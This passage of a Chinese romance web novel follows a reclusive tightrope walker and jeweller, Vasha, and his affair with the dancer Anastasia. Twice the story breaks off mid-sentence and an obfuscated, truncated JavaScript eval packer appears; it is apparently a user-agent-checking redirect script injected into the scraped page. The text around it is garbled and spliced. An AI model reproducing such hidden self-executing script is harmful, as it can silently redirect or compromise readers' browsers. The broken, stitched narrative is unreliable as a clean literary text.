“瓦沙伯奇尼,看来你不仅擅长沉默寡言,还具有某种独到的审美,你能不能告诉我这张面具的主人——他是如何做出这样精妙绝伦的色彩?这上面是真正的宝石吗……我从来没有见过这么漂亮的面具,它比那些威尼斯手里的古典面具还要漂亮的多,说实在的,它非常合适你。瓦沙伯奇尼,我一眼就在人群中看到了你,我请求你,一定要告诉我……我敢保证,这位设计师能够让每个人都能成为舞会的焦点,他一定拥有那样的能力。”阿纳斯塔西娅滔滔不绝地说着,在此之前,她并不知道那两颗祖母绿的宝石,和眼前这位青年有什么深切的关系。准确来说,是和青年脸上的面具有什么关系。直到她眼中瓦沙的面容变得十分低落,那是由于某种过度夸赞形成的羞涩,尽管他的脸被遮住了。 她却真真切切地看到了他泛红的耳朵,颜色胜过了面具装点的蓝色宝石。 “阿纳斯塔西娅,谢谢你……谢谢你如此喜欢它。如果它的主人知道的话,想必会十分高兴。您身上似乎也有着某种才能……能够轻易地讲出来真心诚意的好听话,让人感到温暖。”瓦沙说道。他没有告诉她设计师的身份,尽管他在某个时刻想要脱口而出告诉她他仍然克制住了。他认为自己和她莫名有某种心有灵犀的联系,当他看向她时,心情变得难以描述,如同一颗坚硬的宝石变得柔软了。 “我想您说的那份才能,是每个人都具有的。”阿纳斯塔西娅笑起来,她佯装自在地搭上瓦沙的手腕,实际上她掌心里已经出了一层汗。别的姑娘都是这么做的,她认为他的内敛和沉郁在此刻都变得迷人,在巨大的水晶灯折射下,他们的身影在镜面下笼罩,交织形成了浓稠的阴影与整个剧院融为一体。 “或许您能陪我跳支舞吗?”阿纳斯塔西娅说。 她注视着瓦沙的双眼,那双完全漆黑的眼睛,它们深邃的如同两颗最纯质浓墨化成的墨滴,牢牢地注视着她,令她感到有片刻慌乱。某个时刻她意识到,眼前这个男人除了专注与内敛之外,性格里还带有某些执拗的部分,那一片泥土下淹没了熄灭的火焰,成为一片焦土,随时能够翻天覆地的重新灼烧,将她整个人蚕食殆尽。她既感受到危险,又不可自拔地被这种危险的克制迷惑住,想要靠近他,想要感受那份火焰的热度,让那毒蛇一样令人窒息的火焰攀附至她的身体,将她带入被情欲笼罩的天堂。 “小姐,我并不会跳舞。或许您应该去找一位更能配合您的公子。”瓦沙对她道。他注视着她,却想用目光留住她。她显然感受到了,某份灼热的情感让她整个人如同飘荡在云彩里,她意识到,这和她原本感受过的有所不同。尽管有很多男人对她充满喜爱,她却从来没有感受过从发丝到裙摆一齐震颤的感觉,好像坠入了名为堕落的河流,让她想要攀附上他,和他一起在昏暗的剧院之中跳上一支舞。 “瓦沙伯奇尼,你只需要配合我的动作就好了。我会跳拉丁舞、爵士,芭蕾舞,学过上百首曲子,涉足十几个舞种,我保证能够把你教的很好,你只需要搭上我的肩膀……听着我的节拍就好了。如果我喊一,这个时候你需要往后退一步,如果我喊二,你需要把我抱起来,如果我喊一二一,你需要在抱起我之后把我放回原本的位置。”阿纳斯塔西娅轻柔的语言化成海浪飘荡在他耳边,他的身体任她摆弄,在她的要求中搭上了她的肩膀,触碰到了她腰际的发丝,绵软的海藻就这样落在他手中。 他将她抱起来,在水晶灯的巨大阴影下,他低声念着她的名字。阿纳斯塔西娅,阿纳斯塔西娅……某一刻,他感受到自己的心也在复活,从枯萎的土地之中生长出来了新芽。他从未祈求过上帝,在这一刻低声请求。 上帝啊……请把这个女人给我吧。 “一二,一二,一二一……瞧啊,瓦沙伯奇尼,你做的很好,就像这样。尽管你的表情看起来很僵硬,但是你的动作却非常轻快,瞧啊……我们的影子融为一体了。”阿纳斯塔西娅笑了起来,她在他耳边尽情地笑着,仿佛她从来没有那么高兴。 他也十分高兴,仿佛回到了那段和父亲一起找船的时光。父亲执念中的那艘远洋号,他从未见过它,现在好像那艘船来到了他面前,填补了空缺的岛屿,让他的心灵不再成为一座孤岛。 瓦沙深知,当人类感到幸福的时候,这种时刻往往非常短暂。幸福是一种渴求,它总不会一直出现在人类身上。化妆舞会很快结束了,他只能远远地瞧着阿纳斯塔西娅,阿纳斯塔西娅和她的女伴们在一起,她们笑着谈论着什么,她的目光时不时地朝他转过来,两人对视之后,倏地又分开。他不得不陷入思考之中,明明他们刚刚分开,为什么突然觉得她远在天边,从梁柱到达剧院圆拱门的楼梯,这段路仿佛变得遥不可及。他感到某种淡淡的情绪笼罩着他,他无法再在这里待下去,他想要回到属于自己的写字台那里,让那些宝石的光彩将他变回原本的模样。 那些只是错觉,当他离开时,阿纳斯塔西娅变得惊慌失措,她不顾女伴们惊讶的神情,在维罗纳剧院门口叫住了他。天知道,一个淑女主动地叫住一个男人,这意味着什么,阿纳斯塔西娅可是鼓起了莫大的勇气,她涨红了脸,提着裙摆睁大眼看向他,她的嘴唇略微颤抖,话音在唇边,可怎么也讲不出来。要说出来那种话,无论说出来什么样的话,都十分的丢脸。瓦沙尽管迟钝,却也明白了什么,明白了对面的少女与他一样的心情,明白阿纳斯塔西娅只是在强装镇定,明白她和他一样,他们分开之后彼此想着对方。明白他的那些情感,她亦如出一辙。 “阿纳斯塔西娅,感谢您提醒我,差点忘记了我的那对绿松石……”瓦沙注视着阿纳斯塔西娅,对她道,“如果您不介意的话,改日我再拜访您向您道谢……我工作的地点在游乐场,您想必知道,我并不介意您去找我,如果您那么做的话,我会万分高兴。阿纳斯塔西娅……感谢您。” 阿纳斯塔西娅明白了他的意思,她把那对绿松石还给他,这样避免了女伴们的议论,她此时此刻对他的睿智感到害羞,感到脸颊在发烫。她已经二十岁了,却表现得像个十五岁第一次怦然心动的孩子,她有时会为自己不够矜持感到恼怒,可转眼对上瓦沙隐忍爱意的神情,她又觉得这一切没什么。 “我知道了……我会去找您的,您不用特意来道谢,如果那样的话,我母亲会以为您是来娶亲呢。”阿纳斯塔西娅说。 “您的绿松石……我们还会再见的。”那对绿松石匆匆地塞回到他的手里。 瓦沙很想吻她的手,可他只能看着她离去,看着她重新回到女伴那里,进入剧院里。他掌心的绿松石带着灼烫的温度,闪烁着暗沉的光芒。他想,这或许是带给他好运的一对宝石,它让他遇见了阿纳斯塔西娅,当他走出剧院,缪斯女神的神像垂目而立,他将那两颗宝石小心翼翼地揣进西装的暗袋里。 他回到了家,当他来到写字台,他无心去做没有做完的饰品,那对绿松石隔着他的胸腔在发烫,他将它们拿出来,注视着它们很长时间。他把它们放回口袋里又拿出来,用鼻尖轻轻地去嗅宝石的气息,他整晚都没有睡着,原本打算给小卡拉米写信,或许应该告诉小卡拉米,告诉他他生平第一次为某个人而着迷,向小卡拉米介绍阿纳斯塔西娅,向他介绍他唯一想要得到的女人。他拿起笔,蘸了墨水之后久久没有动作,他的脑海里混乱一片,一会写下来‘小卡拉米’,一会涂画改成了‘亲爱的谢尔盖.阿列克桑德尔’,从‘佛罗伦萨最近天气好吗’的问候语,到‘我为你做了一把崭新的弓’。一会儿他又想到她说的‘娶亲’,他在信纸上写下来‘我想娶她’。片刻,他意识到自己什么也写不出来,那封信纸被他丢在写字台,上面沾满了堆积的墨团。 到了星期二,晚上八点才是他的工作时间,他在早上就来到了游乐场。他看着被驯服的狮子熟练地钻进火圈,由于失眠产生耳边的嗡嗡作响,成为了狮子跨越火圈时燃烧的火焰声色。戴着面具的突尼斯商人他们不知道从哪里变来了面具,卖给那些想要改变风格在下一次化妆舞会上出彩的女郎们。他还路过了有穿着黑色长袍的女人在象腿下摆了占卜的阵法,用作为迷路的人指点迷津。他还看到了老阿卜杜勒,老阿卜杜勒注视着他那双浑浊的眼眯起来,透出某种诡谲的笑意。看来老阿卜杜勒早就看见他了,不知道看了他多久。尽管他感到有些失礼,因为那对绿松石,他决定原谅老阿卜杜勒。 老阿卜杜勒朝他展开口袋,那里面是来自印度的香水瓶,香水瓶精致绝伦,里面装了各种液体,带着淡淡的香气,混合着某种草木的气息。 “瓦沙,看你的脸色似乎不太好,我很关心你的身体。这些焚烧过的草料,我保证它们能够解决你的烦恼。”老阿卜杜勒笑呵呵地看着他。 脸色不好因为他前一天晚上失眠了,瓦沙想道,尽管他的脸色可能看起来没有那么如意,实际上他感觉精神无比清醒,专注力更是平时的数倍,这种状态如果他想做什么话,他一定都能够做成。老阿卜杜勒给他展示的那些药瓶,他并不需要那些东西。他对老阿卜杜勒道,“我还以为您会继续给我推销宝石,上次从您这里买来的绿松石,它们给我带来了好运气。原本——我是打算从您这儿再买一些宝石。” 老阿卜杜勒仍旧十分和气,他笑起来的时候一咧嘴露出来牙齿,他的牙已经不剩几颗了,他不常这么笑,据说因为他固执地认定看到快死的人的牙齿会给人带来不幸。他对瓦沙道:“原本我是那么想的……但是一看到您,看到您的时候,我就已经知道您不再需要宝石了。我卖给您的那些宝石,请您不要看它们十分渺小,在我看来却是充满了信仰与纯净,买它们的人也同样如此。从今以后,我猜您应该更需要这些草药瓶,它们会让你的身体恢复健康,当然了,它们的价格可比宝石贵多了。” 那些草药瓶,瓦沙当然一个也没有买,老阿卜杜勒又发明了新的谎言,如果他喜欢上那些药瓶,意味着他会在老阿卜杜勒那里花费更多里拉,他并不觉得那些药瓶能有什么用,或许只是用来蒙蔽心智脆弱的人的谎言。 瓦沙按照他每周做的那样,首先要确认防滑绳,那根绳子是透明的,实际上很粗,环绕在他腰上两圈,利用了夜晚的月光人们无法轻易地看清它,就算看清也没什么大不了的。走在钢丝上,尽管人们知道有防护措施,愿意迈出第一步永远需要莫大的勇气。其次是他的橡胶软底鞋,这是突尼斯商人为他特制的鞋子,贴合他脚的尺寸,前半部分的脚趾做了额外的防滑设计,脚掌腰窝的地方设有凹槽,当他走在钢丝上,穿这双鞋子一切都会变得十分轻松,像小的时候他和小卡拉米一起玩的独木桥游戏。只要足够的专注,人并不会掉下去。今天也会如此——他的精神状态没有像今天这么好过,他会花费很短的时间完成任务,在人们的欢呼声中走到那扇圣母像下的镂空之门。一切都按照他想的那样,当他置身在人群之上时,他意识到自己距离人们十分遥远,他离月亮更近,在月光的笼罩下,仿佛随时能够变成蝴蝶变成一片飞蛾朝着月亮飞去。突然间,他在孩子的欢呼声中察觉到了某道异样的视线,人尽管为了分散自己的注意力避免不去看某些东西,由于它们仍然存在,意识之中依旧能够察觉。他朝着人群之中的某个地方看过去,一张轻柔的面庞隐藏在人群之中,是阿纳斯塔西娅。阿纳斯塔西娅不知道什么时候悄悄混进了人群中,和一群孩子一起看他的表演。 说实在的,对于这份工作,瓦沙实际上没有怎么放在心上,这只是为了生存……人们为了生存总会做很多的事情;他也不例外,他头一次觉得自己脚上的橡胶鞋多么的滑稽,意识到她可能在看他的鞋子,令他无法保持冷静与专注。他的心难以自持,没有哪一次像现在这样、确确切切地意识到自己走在钢丝上,他总是忍不住看向她,担心自己的姿势不够优雅不够好看,这也是他第一次使用防滑绳。防滑绳是按照他的身体定制的,确保他掉下来不会掉在地上,只会离地面有一定的距离,让他可以解开绳子直接跳下来。他在即将到达圣母像的时候,从钢丝上摔下来。底下传来了一片惊呼,他身后的那根防滑绳牢牢地将他套住,他的身体就那样吊在半空中,还好他没有事情……游乐园的孩子们吓了一大跳,他们很快反应过来,确认瓦沙没事之后,他们以为这是瓦沙为他们准备的特别节目,人群中传来欢呼与热烈的掌声。 瓦沙在掉下来的时候还在担心自己的姿势,他脸颊擦上了那扇镂空的墙,被蹭破了皮,他想他的姿势一定不好看,这让他忧郁而懊恼,直到阿纳斯塔西娅出现在他面前。他在阿纳斯塔西娅眼里看到了自己的狼狈模样,他脸上到处都是白灰,尽管非常不好看,阿纳斯塔西娅却笑了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“瓦沙伯奇尼,你是来找乔瓦尼代理人的吧?很高兴告诉你这么一个好消息,他今天并不在……听说他去陪某一位贵族了,正是上次在剧院里撒里拉的那位大人,听说他还没有走,他一直待在这座岛上。听说他是听了家族占卜的指示来到这里,在这里寻找某项财富,乔瓦尼一听到‘财富’两个字,他立刻抛下了这座游乐场,去了那位贵族那里。我认为你有十足的好运气,从你摔下来却没有骨折、也没有心情变得不美妙,从这些都能够看出来,我认为这也十分的危险。你以前从来没有出现失误和偏差,老天……瓦沙伯奇尼,你知道这意味着什么吗?就像庞贝古城的最后一天……人们最开始都以为无事发生,每个人都随心所欲地像平常一样。”费德里科摆弄着手势说,他看出来了瓦沙走神了,于是收了话音。 “上次我说过的,瓦沙伯奇尼,”费德里科轻轻咳嗽了两声,用奇特的语调说,“我再次向你保证,我不会再去那个剧院。倒是你……瓦沙伯奇尼,说实在的,我十分担心你。” “谢谢你的担心,费德里科。”瓦沙没有再待在这里的必要,或许乔瓦尼回来之后听说这件事会解雇他,他仅仅会可惜这份差事提前结束了。走到门口,瓦沙想到了什么,他扭头去看陈列柜前的费德里科。 “我相信你不会再去剧院,事实上……就算你去,我也并不觉得有愧于上帝。” 瓦沙从印刷室离开,一想到阿纳斯塔西娅还在等待他,他的心情变得急切,所以他离开的步伐与往常不同。阿纳斯塔西娅在圣母神像那里等他,她看见了他,他们不约而同地离开了原地,朝着另外的地方走去,一路上他们原本没有讲话,直到他们来到了海滨公园,这里只有萧瑟的路灯和祖母绿色黑夜里闪烁飘荡的大海。瓦沙有很多话想说,他更想倾听她,他留意着她的步伐,目光从她的侧脸一寸寸留恋不舍地晃过。 “你……” “你……” 他们两人同时开口,随之相视一笑,这里只剩下他们两个人。阿纳斯塔西娅察觉到自己心跳的厉害,她从来没有和哪位男士单独在深夜待在一起,黑夜成为了遮掩他们身影的屏障,她在夜晚注视他的面容,当看向瓦沙面容的伤口时,她意识到自己想要轻轻地吻在上面,让那张面庞不再出现忧郁的神情。她想,这或许能够称之为爱,她明白了一些,她爱上了眼前性情忧郁的东方男人。她爱瓦沙伯奇尼。 阿纳斯塔西娅眼中的怜惜与充满爱意交织的神情,令瓦沙愣在了原地,瓦沙触碰到她柔软的手指,他第一次提出低劣的请求,“阿纳斯塔西娅。我想吻你……很抱歉,我可以那么做吗?” “瓦沙伯奇尼,你难道不清楚吗?当一个男人想要和女人亲热的时候,不需要提问,这个时候需要察觉女人的倾向。难道是我表现的还不够坦然吗?不过……瓦沙伯奇尼,我十分喜欢你的绅士。” 瓦沙认为自己得到了某个许可。他吻上了她的手指,随之是她的脸颊与她的嘴唇,当他们唇舌交融,月色笼罩着他们蜷缩在路灯下的身影,某个瞬间他认为自己已经被带入天堂。他不再需要上帝、不再需要任何信仰,当他亲吻阿纳斯塔西娅时,阿纳斯塔西娅成为了她的信仰。他沉醉于她的气息、她唇齿津液的甘甜,她发出的动情弦音,他的情绪再也难以保持平静,陷入了某种疯狂之中,想要舔遍她的每一寸肌肤,在她身上刻下他们背德的痕迹,让一切伦理消逝粉碎。 阿纳斯塔西娅感受到了瓦沙的情绪,她认为自己十分危险,她却沉醉在这份危险之中,他们接触的皮肤变成了一场大火,她宁愿在这场大火里被烧个干净。她在他的耳边低声呼唤‘瓦沙伯奇尼、瓦沙伯奇尼’,仿佛这个男人成为了她的一切。她愿意把她一切都交给他。 当风声随着夜幕止息时,他轻轻地问她,“明天,我们还能见面吗?” 她靠在他肩上轻轻喘息,对他道:“明天,明天不行。瓦沙伯奇尼,我是一名舞女。你知道的……我每天在剧院工作,我的工作就是跳舞,明天我还有两场演出。后天我也有演出……我没有演出的日子很少……没有演出的时候,我会去找你。你会等我的吧?” 没有等到瓦沙的立刻回答,瓦沙的沉默实际上是一种默认。瓦沙认为自己不必回答,他一定会等她,等她跳完舞,等她演出结束之后,等她来找他。阿纳斯塔西娅没有等到他的回答,不由得对他道,“无论如何,你都要等我,瓦沙伯奇尼。” 他们的嘴唇再次贴在一起,彼此抱在一起难以分开。瓦沙触碰到阿纳斯塔西娅的发丝,他察觉到自己的心情,他疯狂地爱上了阿纳斯塔西娅。 这份爱过分热烈,注定要蚕食一切。 天空灰蒙蒙的,瓦沙看向窗外,他本应该镇定地坐在写字台前,可他总会想起阿纳斯塔西娅,他最终放弃了等待,撑了一把伞、拿出放在抽屉里的零钱,去了维罗纳剧院。他去看了她的演出,她在《天鹅湖》里作为伴舞,他看到她轻柔的身体和舞姿,看着她挽着女伴的手出现在灯光下。她那姣好的颈部如同天鹅,侧目仰起头颅,伴随着音乐与舞台融为一体。他的目光焦距在阿纳斯塔西娅身上,无法从她身上移开;她显然没有注意到他,他在人群之中毫不起眼,她专注在音乐与舞台之间,当她与女伴一起腾空跃起时,优美的舞姿令台下响起如雷贯耳的掌声。阿纳斯塔西娅在舞台上时,抛弃了她的活泼与羞涩,她变得专注而认真,仿佛她肩负着巨大的使命一般,透过肢体语言无声地传递给上帝,告诉上帝她的苦心与梦想,全部都在这一片舞台上付诸。 4. 第四章 “瓦沙伯奇尼,我很抱歉得知这样的消息。只有这么一次、我很难相信这是巧合,您在我唯一一次出门的时刻,犯了这样的错误。尽管我无比相信您,但是世上也没有这样巧合的事情。原本我是打算解雇您的……但是我想到您还有弟弟在佛罗伦萨上学,碰巧我女儿也在学艺术,我很尊敬愿意学习艺术的家庭。因为这一份尊重……”乔瓦尼清了清嗓子,对瓦沙说,“我打算只扣除您这个月一半的薪水。没错,是一半的薪水,您应该能够理解,我已经对您无比宽宏大量。请您接下来的工作务必小心一点,薪水是小事,您的安危更加重要吧?身为负责人,我并不想那么建议您,但是我仍然建议您,您最好、最好购买一份保险,更加妥善。” “我知道了,先生,谢谢您的好意,我会好好考虑的。”瓦沙说,他朝着乔瓦尼略微鞠躬,半个月的薪水,与他预想的已经不同,毕竟眼前这位经理向来以刻薄著称。看来整座镇上,除了他没有其他人能够胜任这份工作,恐怕这才是真相。 “先生,再见。”瓦沙说,他又想到了什么,对乔瓦尼说,“谢谢您的关心,我弟弟尽管没什么音乐上的天赋,由于他的刻苦努力,上个月刚刚担任了音乐学院的副主席。我诚心诚意地为他感到骄傲。” 这就不得不提起乔瓦尼的女儿,乔瓦尼的家族在镇上算是有名,他们家族擅长经商,且土地众多,这位乔瓦尼家的小姐在这座镇上,自然也能够被尊称一声大小姐。所谓学习艺术,有没有天赋尚且不知,只知这位大小姐向来任性恣意、在家里被宠坏了,乔瓦尼也一向对女儿唯命是从。听说她要考佛罗伦萨的美术学院——据说并没有考上,乔瓦尼花了大价钱与人脉,才得到了某位教授的通融,把女儿送进了那所学校。现在不知那位小姐在美术学院如何了。 乔瓦尼的脸上顿时青一阵、白一阵,他合理怀疑这位青年因为被他克扣薪水感到不满才故意出言嘲讽,如果不是他实在找不到第二位愿意走上钢丝的替代者,他一定会把他解雇。在他看来,原本能够做到零失误的人,只要他失误了一次……那么就会有第二次第三次,错误会变得永无止境。唉!谁让这个镇上居然找不到第二个有这份勇气的男人,这个镇上的男人心思不是在前来旅游的女郎身上,就是剧院与酒馆,他们还不知道自己的心灵已经被蒙昧。只有他乔瓦尼……他乔瓦尼知道这一切。他想起另一桩令他头疼的事情,很快便把瓦沙抛到了脑后。 “老兄,你还好吗?如果需要怀抱请告诉我,我会好好安慰你的!”费德里科从印刷室探出了脑袋,和办公室里出来的瓦沙对上目光,他的脑袋伸出来好远,把整个花窗占住,因此显得有些滑稽,而他的脸上却严肃而认真。 费德里科对瓦沙说:“听着,瓦沙伯奇尼,我十分担忧你,尽管有的时候我更想看你的好戏,因为在此之前你从来没有出现在乔瓦尼的面前,也就无法感受到他的刻薄与无情。我倒是很想让你也尝尝他的滋味,这样我们会有更多话可说……老天,我敢保证你和他接触一次,会变得再也不想踏入那间办公室。因为他总是会用亲和的语气,把错误全部归咎在别人身上。我说的应该没错吧,是我说的这样吗?瓦沙伯奇尼。” 费德里科兴奋地滔滔不绝,他却没有意识到瓦沙再次走神了。他以为他总算有话能和瓦沙说,有着相同的经历,总会更加亲近一些,他却不知道瓦沙的心思早已在别处,并且同样对他谈论的事情毫不感兴趣。 “费德里科,请您不必担心我……我很高兴。我并没有把他的话放在心上,另外,今天并不是我的工作时间,我们下周再见。我并没有被解雇,下次我再来聆听你的故事。老兄,再见。”瓦沙说。 “老天。”费德里科脸上保持着惊讶的神情,他感到不可思议,他认为一定是某种魔力出现了。这是瓦沙对他说过最多的话,他看着瓦沙的背影,瓦沙步伐似乎也变得轻盈,如果不是某种魔法改变了他,那么他一定是去剧院了!如果他去了剧院……那么这一切都变得合理了。 事实上确实如此。在这一周的时间里,瓦沙看了阿纳斯塔西娅的所有演出。他越是看她,越是注视舞台上的她,越是被她吸引。她在舞台上一丝不苟、认真专注,舞姿有时轻盈如同翩翩起舞的蝴蝶,有时沉重地如同幽转的枯木,他能够透过她的舞姿看出她的情绪,他看着她沉浸在演出之中,他一并爱上了所有她扮演的角色。无论是《天鹅湖》里的四小天鹅,还是《浮士德》里的格蕾琴,或者是《茶花女》里的薇奥列塔……无数个阿纳斯塔西娅幻化而成的角色,他爱上了集结于她身上的所有幻想。 “瓦沙伯奇尼!”阿纳斯塔西娅亲切地呼唤着他的名字。在台下,她不再是舞女,她是阿纳斯塔西娅,她又变回了活泼热烈的古怪精灵,因为等待他有些久了,瞪大一双眼看向他,表情鲜活而充满骄气。 “瓦沙伯奇尼,你应该知道的吧!我每周都有很多演出,听说你偷偷去看我了,请你不要那么做比较好吧。我听女伴说了……尽管你瞒着我,但是我都知道。我的最后一场演出险些滑倒了,你知道吧,因为总觉得不知道何时会有台下的目光落在我身上,可能我的头发它们没有那么整齐,或者是我的裙子……裙子总是到我的脚踝部分,可我的脚踝并没有那么好看!我变得开始在意这一切!这一切都变得无法忍受!” 他注视着她,倾听着她的烦恼,她的脸紧接着红了起来,她忍不住有些懊恼,原本并不是这么想的,见面应该好好讲话更好一些。可她一见到他,忍不住向他倾诉自己的全部心情,全部的一切……一切! 全部都想告诉他! “抱歉。阿纳斯塔西娅。我原本没想过去剧院……你说过让我等你。可我待在写字台前,就像平常一样……我变得无法忍受,我无法忍受你不在我身边。我爱你……我想看你,我想去见你,我没有得到你的允许。我十分沮丧……为了见到你,我只好那么做。你并不知情,当你不在我身边时,我的心每一分每一秒,它们如同断裂的琴弦……你让它们了无声息。” “我也并没有觉得你的脚踝不好看、它们,从你的发丝到你的足部,一切都完美极了! 我想要亲吻你身上的每一处。我仍然要向你道歉,当我听到你因为我而混乱,我仍然十分高兴,至少……至少我在你的心里有一席之地。阿纳斯塔西娅,你不知道这对我来说意味着什么……我高兴的认为自己能够随时死去。我爱你……我爱你。请你原谅我。” 她又高兴又气恼,高兴因为他的陈白,气恼因为他说这样不吉利的话。她连忙堵住了他的嘴,他却趁机亲吻她的手指。他们两人意识到这类似于追逐游戏,不约而同地笑了起来,他们吻在一处,他果真像他说的那样,亲吻她的每处身体。好像她的身体不再是她的,而变成了他们共同的容器!他们的躯壳沉载着他们的灵魂,当肌肤相触时,灵魂深刻地互相抵在一处,互相因为对方而颤抖至喜极而泣。 瓦沙告诉她他和乔瓦尼经理的对话,告诉她自己被训斥,他并不觉得丢脸,她凝视着他,因为克扣的一半薪水而不高兴,他亲吻着安抚他,她查看他脸上的伤口,他们像两只建巢的小动物一样,外界的一切沉痛都能够让他们彼此舔舐对方的伤口,而变得更加亲近。 阿纳斯塔西娅告诉他剧院里发生的一切,告诉他她如何争取到主演的角色,告诉他她最喜欢的女伴和有些不喜欢的女伴,她最喜欢的女伴是罗莎,最不喜欢的女伴是维罗尼卡。因为罗莎与她自幼较好,她已经把他们交往的秘密告诉罗莎,罗莎向她坦然了实情,十分祝福他们。而维罗尼卡,她在与她交流时,因为她们是对手,尽管维罗尼卡表面笑意吟吟,她却能够感受到她的笑容极其敷衍没有感情。她告诉他,她永远不能明白的一件事,人为什么不能坦然的面对自己的对手与利益争夺者,她认为就算失败了也能够做朋友,她从来不会嫉妒或者怨恨某个人,从来没有那样的情感。 他们凑在一起仿佛有说不完的话,从天亮说到天黑。瓦沙带阿纳斯塔西娅来到他家,带她看他的写字台和陈列柜,带她看他的十字架林与后花园。她拿起他常常用的钢笔、他常用的毛刷和简洁的手绢,她惊讶地称赞他做的那些首饰,她在此时也发觉那张面具出自谁的手艺,她不由得衷心地敬佩他,并且更加的迷恋他。她迷恋瓦沙,迷恋瓦沙身上独有的谦逊与内敛,她被他身上深深的东方气质所吸引,她认为谦逊无疑是最高尚的美德。她认为当一个人隐藏自己的美德时,另一个人无意间发现之后会明白生活之中的魅力所在。 她像一只刚出生好奇的山鹊,一个一个地问那些饰品的故事。她最好奇的是那些具有漆艺手法的盘子,好奇上面的凤凰与类似于‘龙’的图案,她对于瓦沙运用的色彩极其惊叹,她从来不知道原来用两种高纯的颜色能够组合的如此华丽夺目。瓦沙告诉她有些是他父亲的手艺,他们来自遥远的东方,他告诉她他父亲一生的执念是带到他们来到法□□亚纳的那艘远洋号,父亲总认为只要找到了那艘船他们就能够回去,回到自己的故乡去。至于那些用红色颜料堆积出汉字花纹的盘子,上面是重叠的‘喜’字,在汉语里是祝福的意思,红色意味着喜庆与欢乐。 瓦沙向她讲解他桌子上的那些宝石,在此之前从来没有人对那些宝石好奇过,他出于严谨,对于买来的每颗宝石进行了记录,记录它们的来源地和收购人。可阿纳斯塔西娅对这一切都充满了乐趣,兴致勃勃地听他分享宝石的故事,拿起他做的那些蝴蝶,摆放在胸前的位置,朝他笑起来,与他戏弄一团。他亲手为阿纳斯塔西娅戴上了他做的首饰,只要是她喜欢的,他可以全部送给她。尽管这充满了诱惑,阿纳斯塔西娅仍然拒绝了,她只从首饰盒里最角落拿了一枚小小的戒指,她蕴藏着一些私心,她认为戒指具有其他神圣的含义。她让瓦沙亲手为她戴上戒指,她笑着告诉瓦沙,她只会偷偷地在没人的角落戴上,在人前不会让他们发现,不让人知道,瓦沙伯奇尼送给了她一枚戒指。 瓦沙亲吻阿纳斯塔西娅的手指,他认为那枚戒指过于朴素,他做的不够好,那是他最初做饰品的尝试,也是他唯一做的戒指。那时他的技巧仍然生疏,只勉强用银饰堆成了圆环状,上面印有一个蝴蝶的纹路。他告诉阿纳斯塔西娅自己天真的想法,他喜欢在窗内注视窗外的蝴蝶,如果有可能的话,他想去追逐那些蝴蝶,因为痴恋蝴蝶,总是做梦梦到自己化成蝴蝶朝着天际飞去。 那枚戒指他亲手为阿纳斯塔西娅戴上,他凭借着印象之中模糊的尺寸制作了这枚戒指,它戴在阿纳斯塔西娅手上刚刚好,仅仅有一个地方让人在意。戒指的尺寸过于吻合,它合适地卡在阿纳斯塔西娅的无名指上,当他们尝试摘除时,发现一切都是徒劳。阿纳斯塔西娅当时不以为意,她认为自己只要回家用上肥皂,总能把戒指摘下来。 他抱着她在写字台前接吻,他亲吻她的脸颊、亲吻她漂亮的眼睛,他同她亲热时总会想多讲一些让她高兴的话,他痛恨自己的不善言辞。他们在窗前一起给对方写信,他写她的名字阿纳斯塔西娅,她写道瓦沙伯奇尼,他们的面容一齐出现在彩窗之下,他们一起前往十字架的花园,在那里采摘下杜鹃花枝。他教她用组合十字架,用木板钉成十字架的形状,装饰花园的栅栏。她在他家里为他烹制苹果派,他们一起从邻居家的苹果树那里摘了苹果,当他们这么做的时候,他们意识到他们如同偷食禁果的亚当夏娃。那只是古老而美丽的传说,如今只为他们添上了绮丽的点缀。 “我还有一个弟弟。我的弟弟谢尔盖.阿列克桑德尔。他在佛罗伦萨的音乐学院学小提琴,他比我笑了小了十岁,我们经常写信。我很爱他,他也和我一样……我们的关系很好,阿纳斯塔西娅。上次,在他去佛罗伦萨之前,我们一起参加化妆舞会之前,那时候我刚刚拿到你的信,为此困扰了好几天,是他鼓励我让我去去看,我很在意我弟弟的建议,于是我那么做了。原本,我想给他写信,可我不知道怎么下笔……等他回来,到时候请允许我让你们见面,我想把他介绍给你,同样想把您介绍给他。阿纳斯塔西娅。请您允许我这么做。”瓦沙说。 “我感到无比荣幸!瓦沙伯奇尼,你知道我有多么想要了解你的一切吗。你带我来到这里,我认为自己好像做了一场梦,你的一切都是那么的美丽。瓦沙伯奇尼! 在我眼里你就好像阿多尼斯,我一见到你便知道、我已经知道,我的心不再属于自己。你的一切都是那么令人着迷,你的写字台、你做的那些漆艺盘子,你的白手套,我多么想要一一亲吻它们,因为它们曾经让你流连。你一定无法想到我的心情,我认为自己不应该这么讲!因为它们有失礼节!可我做不到那样! 我做不到!我想要把我的全部心情告诉你!我的那些爱意!它们在见到你时如同坠落的宝石散落的到处都是……每一颗都在跳动着,它们毫无规律!瓦沙伯奇尼!瓦沙伯奇尼!你为何不吻我!?你的爱一定没有我爱你那样热烈!我爱你!请你吻我!我爱你的黑色发丝、爱你的深邃眉眼,爱你的幽深性情,我爱你注视我的眼眸!请你也像我爱你那般!请您一定要那么做!” “我爱你!……我怎么会不爱你!我爱你如此之深!阿纳斯塔西娅……请你原谅我,我的爱悉数在看向你的目光之中,而不在言语之中。它们晦莫如深!它们难以言讳!” 他们就这样过上了一段疯狂而毫无节制的日子,他们一旦碰到一起便要接吻,有时候从下午亲热到天黑,有时一起前往剧院,他们在无人的角落恣意抚摸对方,从第一章到终曲,他们好像得了某种难以愈合的疾病,无非需要触碰到彼此才能消解。有时候他们悄无声息地对视,只需要看到彼此,便像发了情的畜生那样,再也难以容忍。他咬她的嘴唇,她承受着他的亲吻。他带她回到家中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 